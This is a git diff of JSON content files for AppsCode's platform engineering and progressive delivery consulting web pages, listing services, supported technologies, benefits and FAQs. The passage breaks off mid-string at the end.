+ "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Platform Engineering Services?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Domain Expertise", + "description": "Over 100 successful platform engineering implementations across enterprises and startups." + }, + { + "icon": "fa fa-trophy", + "title": "First-Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training & Enablement", + "description": "Hands-on knowledge transfer to upskill internal teams and foster self-sufficiency." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scalable Support", + "description": "Easily expand engineering support without hiring overhead." + } + ] + }, + "resources": { + "title": "Cloud-Native Product Engineering Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "final_cta": { + "title": "Ready to Elevate Your Platform Engineering Journey?", + "subtitle": "Consult with AppsCode experts for strategy, design, deployment, and ongoing platform support.", + "buttons": [ + { + "text": "Talk to a Platform Engineering Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "faq": [ + { + "question": "What do your Platform Engineering Services include?", + "answer": "Our Platform Engineering Services cover the full lifecycle of building and maintaining cloud-native platforms: from opportunity discovery, MVP development, engineering and DevOps practices, to deployment, monitoring, and scaling. We focus on creating reliable, secure, and high-performing platforms for your organization." + }, + { + "question": "Which technologies and practices are used in your platform engineering?", + "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns to ensure platform stability and scalability." + }, + { + "question": "Can you work with our existing product roadmap and tech stack?", + "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine your existing platform, lift it into a containerized, cloud-native, and production-ready form, or build new components from scratch as needed." + }, + { + "question": "What is the typical timeline and engagement model for Platform Engineering Services?", + "answer": "We usually start with a short discovery phase (1–2 weeks) to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term dedicated platform engineering support." + }, + { + "question": "Do you support multi-cloud or hybrid cloud environments?", + "answer": "Absolutely. Our Platform Engineering Services are designed to be cloud-agnostic, ready to deploy on public clouds such as AWS, Azure, GCP, or on-premises Kubernetes clusters. This ensures portability, scalability, and operational consistency across environments." + }, + { + "question": "How do you ensure quality, security, and reliability in the platforms you build?", + "answer": "We ensure quality through automated testing, code reviews, and continuous integration. Security is baked in via container isolation, role-based access, secrets management, and vulnerability scanning. Reliability is maintained with production-grade patterns, monitoring, backup/recovery, and disaster resilience." + }, + { + "question": "What happens after the platform is launched?", + "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Our Platform Engineering Services also include continuous improvements, automation, and tuning to ensure long-term reliability and cost efficiency." + }, + { + "question": "How much do Platform Engineering Services cost and what are the pricing models?", + "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous platform engineering and scaling. A detailed proposal is provided after the discovery phase." + } + ] +} diff --git a/data/services/platform-engineering/progressive_delivery_consulting.json b/data/services/platform-engineering/progressive_delivery_consulting.json index aefdcd0a8e..3fba0260d1 100644 --- a/data/services/platform-engineering/progressive_delivery_consulting.json +++ b/data/services/platform-engineering/progressive_delivery_consulting.json @@ -1,412 +1,412 @@ -{ - "hero": { - "title": "Expert Progressive Delivery Consulting Services", - "subtitle": "Helping organizations adopt progressive delivery with proven strategies—from roadmap creation to implementation and enterprise-grade support.", - "cta_text": "TALK TO A PROGRESSIVE DELIVERY CONSULTING EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/progressive-delivery-consulting.png", - "alt": "Progressive Delivery Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "service_details": { - "title": "Our Progressive Delivery Consulting & Implementation Services", - "subtitle": "Optimize software release cycles and accelerate DevOps adoption with expert guidance and hands-on progressive delivery implementation.", - "sections": [ - { - "title": "Progressive Delivery Advisory & Roadmap", - "description": "Our consulting team evaluates your deployment strategies, identifies improvement areas, and provides a clear roadmap for adopting progressive delivery practices.", - "offerings": [ - "Compare current deployment workflows against industry best practices.", - "Audit infrastructure for readiness and maturity with actionable recommendations.", - "Develop a deployment plan aligned with business goals for seamless adoption.", - "Select and configure tools for zero-downtime releases and safe rollouts." - ], - "image": "/assets/images/services/progressive-delivery-consulting-advisory.png" - }, - { - "title": "Progressive Delivery Implementation", - "description": "We assist in building or migrating CI/CD pipelines into progressive delivery workflows to enable safer, faster, and controlled software releases.", - "offerings": [ - "Blue-Green deployments for quick rollouts and rollbacks.", - "Canary deployments to release features gradually.", - "A/B testing for analyzing user behavior and preferences.", - "Automated rollout and rollback strategies.", - "Traffic shaping to optimize user experience.", - "In-production testing and monitoring." - ], - "image": "/assets/images/services/progressive-delivery-consulting-implementation.png" - }, - { - "title": "Enterprise Support for Progressive Delivery", - "description": "Our team ensures your progressive delivery pipelines operate smoothly with enterprise-grade support for Kubernetes, service meshes, traffic controllers, and more.", - "offerings": [ - "Proactive monitoring and logging to detect issues early.", - "Zero-downtime deployments with automated rollback strategies.", - "Regular updates, patches, and fixes for all progressive delivery tools." - ], - "image": "/assets/images/services/progressive-delivery-consulting-support.png" - }, - { - "title": "Progressive Delivery Tools Training", - "description": "Enable teams to independently manage deployments with hands-on training on modern progressive delivery tools and methodologies.", - "offerings": [ - "Workshops on Argo Rollouts and Flagger for automated deployments.", - "Master Blue-Green, Canary, A/B testing, and traffic splitting techniques.", - "Implement industry best practices under expert guidance." - ], - "image": "/assets/images/services/progressive-delivery-consulting-training.png" - } - ] - }, - "cards_group": { - "title": "AppsCode’s AAA Framework for Platform Engineering", - "models": [ - { - "number": "01", - "title": "ADOPT", - "description": "Evaluate current tools and practices to define platform goals. Our assessment framework helps identify value-driven initiatives." - }, - { - "number": "02", - "title": "ACCELERATE", - "description": "Ensure platform adoption through user-centric strategies, evangelizing the platform to increase engagement across teams." - }, - { - "number": "03", - "title": "ASSETS", - "description": "Scale platform adoption by replicating successful processes across teams for broader impact." - } - ] - }, - "title_with_small_cards": { - "title": "Key Benefits of Progressive Delivery Consulting", - "areas": [ - { - "icon": "fa fa-clock-o", - "title": "Move Fast with Control" - }, - { - "icon": "fa fa-star", - "title": "Future-Ready Software Delivery" - }, - { - "icon": "fa fa-bolt", - "title": "Faster Time-to-Market" - }, - { - "icon": "fa fa-flask", - "title": "Experiment Safely on Existing Products" - }, - { - "icon": "fa fa-users", - "title": "Understand End-User Preferences" - }, - { - "icon": "fa fa-sliders", - "title": "Fine-Grained Control" - }, - { - "icon": "fa fa-eye", - "title": "Test Features Safely in Production" - }, - { - "icon": "fa fa-refresh", - "title": "Zero-Downtime Deployments" - } - ] - }, - "service_details2": { - "title": "Platform Engineering Consulting Services", - "sections": [ - { - "title": "Product-Market Fit Assessment", - "description": "Align your platform capabilities with developer needs to ensure adoption and satisfaction.", - "offerings": [ - "Gather insights into developer workflows and preferences.", - "Analyze existing tools and technology landscape for informed platform design.", - "Iteratively refine the platform using feedback loops and data-driven insights." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/product-market-fit-assessment.svg" - }, - { - "title": "MVP Strategy & Platform Roadmap", - "description": "Plan and build a developer platform that meets core needs while enabling future growth.", - "offerings": [ - "Strategic roadmap outlining feature development and platform enhancements.", - "Define Minimum Viable Product (MVP) for essential functionalities.", - "Iterative platform improvement based on evolving developer requirements." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/mvp-strategy-platform-roadmap-consulting.svg" - }, - { - "title": "Platform Design & Development", - "description": "Design and develop scalable, user-friendly platforms tailored to your organization’s needs.", - "offerings": [ - "Architect agile, robust, and scalable platforms.", - "Focus on intuitive, user-centered interfaces.", - "Deliver end-to-end full-stack solutions for cohesive platform experiences." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-design-and-development.svg" - }, - { - "title": "Integrations & Ecosystem Setup", - "description": "Integrate essential tools and services to create a seamless developer ecosystem.", - "offerings": [ - "Implement integrations for evolving developer requirements.", - "Establish a comprehensive ecosystem to enhance platform usability.", - "Provide custom integration solutions for unique workflows." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/integrations-ecosystem-setup.svg" - }, - { - "title": "Platform Support & Maintenance", - "description": "Ensure sustained platform excellence with proactive support and maintenance services.", - "offerings": [ - "Long-term support for developers and stakeholders.", - "Routine maintenance, updates, patches, and security enhancements.", - "Customized maintenance plans tailored to your platform’s needs." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-support-maintenance.svg" - }, - { - "title": "Platform Engineering Training & Support", - "description": "Empower your teams to adopt platform engineering best practices and self-manage operations.", - "offerings": [ - "Training workshops for teams to become self-sufficient in platform management.", - "Develop documentation and best practices for platform adoption." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-engineering-training-support.svg" - } - ] - }, - "industries": { - "title": "Industry Expertise", - "subtitle": "With 100+ clients, we bring deep expertise across industries, ensuring compliance and operational excellence from day one.", - "additional_text": "From global enterprises to scaling startups, we cover it all!", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Deliver highly available, compliant systems to process transactions 24/7." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI, manage cloud infrastructure, and optimize performance." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI and machine learning to meet rising customer expectations." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems, monitor resources, and reduce operational costs." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data efficiently to meet evolving healthcare demands." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations with cost-effective, scalable systems." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Our engineers have hands-on experience with modern cloud-native technologies to enable successful progressive delivery adoption.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Looking for Progressive Delivery Expertise?", - "subtitle": "Consult with our experts on strategy, implementation, tool integration, and ongoing support.", - "buttons": [ - { - "text": "Talk to a Progressive Delivery Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Progressive Delivery?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Proven experience implementing serverless and platform engineering practices with 100+ clients." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training", - "description": "Hands-on training focused on core concepts and practical experience." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scale Easily", - "description": "Expand your engineering team with AppsCode without the hassle of hiring or training." - } - ] - }, - "resources": { - "title": "Cloud-Native Product Engineering Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "faq": [ - { - "question": "What do your Progressive Delivery Consulting Services include?", - "answer": "Our Progressive Delivery Consulting Services cover the full lifecycle of cloud-native product delivery — from opportunity discovery and MVP development to engineering, DevOps, deployment, and scaling. We focus on enabling safe, controlled releases and building resilient, high-performing systems." - }, - { - "question": "Which technologies and practices are used in progressive delivery consulting?", - "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability, and hybrid/multi-cloud deployment patterns. These practices help teams implement feature rollouts safely and maintain operational confidence." - }, - { - "question": "Can you work with our existing product roadmap and stack?", - "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine existing systems, enable progressive delivery workflows, and lift your platform into a containerized, cloud-native, and production-ready state." - }, - { - "question": "What is the typical timeline and engagement model for Progressive Delivery Consulting Services?", - "answer": "Most engagements start with a 1–2 week discovery phase to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term consulting partnerships." - }, - { - "question": "Do you support multi-cloud or hybrid cloud environments?", - "answer": "Absolutely. Our Progressive Delivery Consulting Services are designed to be cloud-agnostic, supporting AWS, Azure, GCP, and on-premises Kubernetes clusters. This ensures consistent, safe deployments across different environments." - }, - { - "question": "How do you ensure quality, security, and reliability during progressive delivery?", - "answer": "Quality is ensured through automated testing, code reviews, and continuous integration. Security is baked in with container isolation, role-based access control, secrets management, and vulnerability scanning. Reliability is maintained with monitoring, backup/recovery, and disaster resilience patterns." - }, - { - "question": "What happens after the product is launched?", - "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Progressive Delivery Consulting Services also include implementing feature rollouts, canary releases, and automated rollback strategies to maintain operational confidence." - }, - { - "question": "How much do Progressive Delivery Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous consulting and progressive delivery support. A detailed proposal is provided after the discovery phase." - } - ] -} +{ + "hero": { + "title": "Expert Progressive Delivery Consulting Services", + "subtitle": "Helping organizations adopt progressive delivery with proven strategies—from roadmap creation to implementation and enterprise-grade support.", + "cta_text": "TALK TO A PROGRESSIVE DELIVERY CONSULTING EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/progressive-delivery-consulting.png", + "alt": "Progressive Delivery Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "service_details": { + "title": "Our Progressive Delivery Consulting & Implementation Services", + "subtitle": "Optimize software release cycles and accelerate DevOps adoption with expert guidance and hands-on progressive delivery implementation.", + "sections": [ + { + "title": "Progressive Delivery Advisory & Roadmap", + "description": "Our consulting team evaluates your deployment strategies, identifies improvement areas, and provides a clear roadmap for adopting progressive delivery practices.", + "offerings": [ + "Compare current deployment workflows against industry best practices.", + "Audit infrastructure for readiness and maturity with actionable recommendations.", + "Develop a deployment plan aligned with business goals for seamless adoption.", + "Select and configure tools for zero-downtime releases and safe rollouts." + ], + "image": "/assets/images/services/progressive-delivery-consulting-advisory.png" + }, + { + "title": "Progressive Delivery Implementation", + "description": "We assist in building or migrating CI/CD pipelines into progressive delivery workflows to enable safer, faster, and controlled software releases.", + "offerings": [ + "Blue-Green deployments for quick rollouts and rollbacks.", + "Canary deployments to release features gradually.", + "A/B testing for analyzing user behavior and preferences.", + "Automated rollout and rollback strategies.", + "Traffic shaping to optimize user experience.", + "In-production testing and monitoring." + ], + "image": "/assets/images/services/progressive-delivery-consulting-implementation.png" + }, + { + "title": "Enterprise Support for Progressive Delivery", + "description": "Our team ensures your progressive delivery pipelines operate smoothly with enterprise-grade support for Kubernetes, service meshes, traffic controllers, and more.", + "offerings": [ + "Proactive monitoring and logging to detect issues early.", + "Zero-downtime deployments with automated rollback strategies.", + "Regular updates, patches, and fixes for all progressive delivery tools." + ], + "image": "/assets/images/services/progressive-delivery-consulting-support.png" + }, + { + "title": "Progressive Delivery Tools Training", + "description": "Enable teams to independently manage deployments with hands-on training on modern progressive delivery tools and methodologies.", + "offerings": [ + "Workshops on Argo Rollouts and Flagger for automated deployments.", + "Master Blue-Green, Canary, A/B testing, and traffic splitting techniques.", + "Implement industry best practices under expert guidance." + ], + "image": "/assets/images/services/progressive-delivery-consulting-training.png" + } + ] + }, + "cards_group": { + "title": "AppsCode’s AAA Framework for Platform Engineering", + "models": [ + { + "number": "01", + "title": "ADOPT", + "description": "Evaluate current tools and practices to define platform goals. Our assessment framework helps identify value-driven initiatives." + }, + { + "number": "02", + "title": "ACCELERATE", + "description": "Ensure platform adoption through user-centric strategies, evangelizing the platform to increase engagement across teams." + }, + { + "number": "03", + "title": "ASSETS", + "description": "Scale platform adoption by replicating successful processes across teams for broader impact." + } + ] + }, + "title_with_small_cards": { + "title": "Key Benefits of Progressive Delivery Consulting", + "areas": [ + { + "icon": "fa fa-clock-o", + "title": "Move Fast with Control" + }, + { + "icon": "fa fa-star", + "title": "Future-Ready Software Delivery" + }, + { + "icon": "fa fa-bolt", + "title": "Faster Time-to-Market" + }, + { + "icon": "fa fa-flask", + "title": "Experiment Safely on Existing Products" + }, + { + "icon": "fa fa-users", + "title": "Understand End-User Preferences" + }, + { + "icon": "fa fa-sliders", + "title": "Fine-Grained Control" + }, + { + "icon": "fa fa-eye", + "title": "Test Features Safely in Production" + }, + { + "icon": "fa fa-refresh", + "title": "Zero-Downtime Deployments" + } + ] + }, + "service_details2": { + "title": "Platform Engineering Consulting Services", + "sections": [ + { + "title": "Product-Market Fit Assessment", + "description": "Align your platform capabilities with developer needs to ensure adoption and satisfaction.", + "offerings": [ + "Gather insights into developer workflows and preferences.", + "Analyze existing tools and technology landscape for informed platform design.", + "Iteratively refine the platform using feedback loops and data-driven insights." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/product-market-fit-assessment.svg" + }, + { + "title": "MVP Strategy & Platform Roadmap", + "description": "Plan and build a developer platform that meets core needs while enabling future growth.", + "offerings": [ + "Strategic roadmap outlining feature development and platform enhancements.", + "Define Minimum Viable Product (MVP) for essential functionalities.", + "Iterative platform improvement based on evolving developer requirements." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/mvp-strategy-platform-roadmap-consulting.svg" + }, + { + "title": "Platform Design & Development", + "description": "Design and develop scalable, user-friendly platforms tailored to your organization’s needs.", + "offerings": [ + "Architect agile, robust, and scalable platforms.", + "Focus on intuitive, user-centered interfaces.", + "Deliver end-to-end full-stack solutions for cohesive platform experiences." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-design-and-development.svg" + }, + { + "title": "Integrations & Ecosystem Setup", + "description": "Integrate essential tools and services to create a seamless developer ecosystem.", + "offerings": [ + "Implement integrations for evolving developer requirements.", + "Establish a comprehensive ecosystem to enhance platform usability.", + "Provide custom integration solutions for unique workflows." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/integrations-ecosystem-setup.svg" + }, + { + "title": "Platform Support & Maintenance", + "description": "Ensure sustained platform excellence with proactive support and maintenance services.", + "offerings": [ + "Long-term support for developers and stakeholders.", + "Routine maintenance, updates, patches, and security enhancements.", + "Customized maintenance plans tailored to your platform’s needs." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-support-maintenance.svg" + }, + { + "title": "Platform Engineering Training & Support", + "description": "Empower your teams to adopt platform engineering best practices and self-manage operations.", + "offerings": [ + "Training workshops for teams to become self-sufficient in platform management.", + "Develop documentation and best practices for platform adoption." + ], + "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-engineering-training-support.svg" + } + ] + }, + "industries": { + "title": "Industry Expertise", + "subtitle": "With 100+ clients, we bring deep expertise across industries, ensuring compliance and operational excellence from day one.", + "additional_text": "From global enterprises to scaling startups, we cover it all!", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Deliver highly available, compliant systems to process transactions 24/7." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI, manage cloud infrastructure, and optimize performance." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI and machine learning to meet rising customer expectations." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems, monitor resources, and reduce operational costs." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data efficiently to meet evolving healthcare demands." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations with cost-effective, scalable systems." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Our engineers have hands-on experience with modern cloud-native technologies to enable successful progressive delivery adoption.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Looking for Progressive Delivery Expertise?", + "subtitle": "Consult with our experts on strategy, implementation, tool integration, and ongoing support.", + "buttons": [ + { + "text": "Talk to a Progressive Delivery Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Progressive Delivery?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Proven experience implementing serverless and platform engineering practices with 100+ clients." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training", + "description": "Hands-on training focused on core concepts and practical experience." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scale Easily", + "description": "Expand your engineering team with AppsCode without the hassle of hiring or training." + } + ] + }, + "resources": { + "title": "Cloud-Native Product Engineering Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes 